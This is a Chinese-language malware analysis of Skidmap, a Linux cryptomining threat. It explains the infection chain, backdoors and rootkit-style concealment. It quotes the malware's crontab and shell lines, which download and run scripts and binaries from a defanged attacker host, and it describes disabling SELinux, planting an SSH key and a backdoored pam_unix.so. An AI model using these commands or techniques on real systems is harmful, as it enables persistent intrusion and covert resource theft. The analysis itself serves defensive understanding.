加密货币挖掘恶意软件是一种普遍存在网络威胁,不止是windows系统,如今你在移动设备、Unix和类Unix系统,甚至是服务器和云环境中,都可以见到它们的身影。
此外,它们的反检测能力也在不断提高。例如,有些恶意软件就与Watchdog(linux看门狗)组件捆绑在一起,以确保加密货币挖掘活动不会被系统监控工具监测到。
Skidmap就是这样一种恶意软件,借助独特的内核模块加载方式,它不仅很难被检测出来,而且还允许攻击者不受限制地访问受感染系统。
图1.Skidmap的感染链
首先,Skidmap通过crontab将自己安装到目标机器上,如下所示:
*/1 * * * * curl -fsSL hxxp://pm[.]ipfswallet[.]tk/pm.sh | sh
接下来,Skidmap就会下载主二进制文件“pc”:
if [ -x "/usr/bin/wget" -o -x "/bin/wget" ]; then wget -c hxxp://pm[.]ipfswallet[.]tk/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc elif [ -x "/usr/bin/curl" -o -x "/bin/curl" ]; then curl -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc elif [ -x "/usr/bin/get" -o -x "/bin/get" ]; then get -c hxxp://pm[.]ipfswallet[.]tk/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc elif [ -x "/usr/bin/cur" -o -x "/bin/cur" ]; then cur -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc else url -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc fi
执行二进制文件“pc”,受感染系统的安全设置将被降低。
如果文件“/ usr / sbin / setenforce”存在,那么Skidmap则将执行命令“setenforce 0”。此命令会将系统的Security-Enhanced Linux(SELinux)模块配置为允许模式。
如果文件“/ etc / selinux / config”存在,那么Skidmap则会将这些命令“:SELINUX = disabled”和“SELINUXTYPE = targeted”写入该文件。前者用于禁用SELinux策略,后者用于将选定的进程设置为在受限域中运行。
此外,Skidmap还会设置了一种获取后门访问受感染系统的方法。它通过让二进制文件将其处理程序的公钥添加到“authorized_keys”文件来完成此操作,该文件包含身份验证所需的密钥。
图2. Skidmap获取对受感染系统的后门访问权限
除了后门访问,Skidmap还为会攻击者创建另一种访问受感染系统的方法——将系统文件“pam_unix.so”替换为恶意版本。如图3所示,恶意版本的“pam_unix.so”文件接受任何用户的特定密码,从而允许攻击者以任何用户身份登录受感染系统。
图3. Skidmap利用恶意版本的“pam_unix.so”文件来访问受感染系统
二进制文件“pc”首先检查受感染系统的操作系统是Debian还是RHEL/centos,以此来决定将要释放的加密货币挖掘程序和其他组件。
对于基于Debian的系统,它会将加密货币挖掘程序释放到“/tmp/miner2”。
图4. 二进制文件“pc”在基于Debian的系统中释放加密货币挖掘程序
对于基于CentOS/RHEL的系统,它将从“hxxp://pm[.]ipfswallet[.]tk/cos7[.]tar[.]gz]”下载一个tar压缩文件,其中就包含了加密货币挖掘程序和多个组件,这些组件将在解压缩后安装。
图5. 二进制文件“pc”在基于RHEL/CentOS的系统中释放加密货币挖掘程序
Skidmap还有多个值得注意的组件,它们旨在进一步隐藏加密货币挖掘活动:
一个恶意版本的“rm”二进制文件-这个文件用于替换系统原始的“rm”文件(rm通常用作删除文件的命令),进而设置一个恶意的cron定时任务,可以下载并执行文件。
图6.恶意版本的“rm”二进制文件设置的cron定时任务
Kaudited-安装为/ usr / bin / kaudited的文件。这个二进制文件将释放并在受感染系统上安装多个可加载的内核模块(LKM)以及用于监视加密货币挖掘程序文件和进程的监视程序组件。
图7. 由Kaudited释放的内核模块
图8.由Kaudited释放的监视程序组件
Iproute-这个组件挂钩系统调用,使用getdents(通常用于读取目录的内容)隐藏特定文件。
图9. Iproute使用getdents隐藏特定文件
Netlink-一个能够伪造网络流量统计信息(特别是涉及某些IP地址和端口的流量)以及CPU统计信息的组件,这将导致受感染系统的CPU使用率始终显示为低。
图10.用于实现CPU使用率始终显示为低的代码片段
Skidmap使用了一些相对高级的方法来确保它自身及其组件很难被检测出来,如独特的内核模块加载方式。再加上能够替换系统原始文件的能力,这使得它与其他恶意软件相比更加难以被清理。
此外,Skidmap还能够创建多种允许攻击者访问受感染系统的方法,这使得它即使被清理,也能够重新感染已恢复正常的系统,从而继续加密货币挖掘活动,降低服务器或工作站的性能。